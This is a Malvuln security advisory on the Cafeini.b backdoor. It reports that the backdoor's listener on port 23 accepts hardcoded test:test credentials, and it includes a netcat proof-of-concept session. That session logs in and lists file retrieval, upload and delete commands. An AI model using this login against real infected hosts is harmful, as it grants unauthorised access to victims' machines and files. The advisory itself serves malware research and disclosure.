Backdoor.Win32.Cafeini.b Hardcoded Credential

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/851f8945d1b5923990f4722d627156a0.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Cafeini.b  
Vulnerability: Weak Hardcoded Credentials   
Description: The malware listens on TCP port 23. Authentication is required, however the credentials test:test are weak and hardcoded within the PE file.  
Family: Cafeini  
Type: PE32  
MD5: 851f8945d1b5923990f4722d627156a0  
Vuln ID: MVID-2022-0568  
Disclosure: 04/26/2022  
  
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 23  
220 CAFEiNi 1.1 FTP server  
USER test  
331 enter your password (PASS)  
PASS test  
230 you're logged in, have a fun  
SYST  
215 WIN32 L 8 (CAFEiNi 1.1 FTP server)  
PASV  
500 unknown command "pasv"  
HELP  
214-CAFEiNi 1.1 FTP server supported commands:  
ABOR CDUP CWD DELE HELP LIST MKD MODE NOOP PASS  
PWD QUIT RETR RMD RNFR RNTO STOR SYST TYPE USER  
214 and you don't need more commands, I think  
  
  
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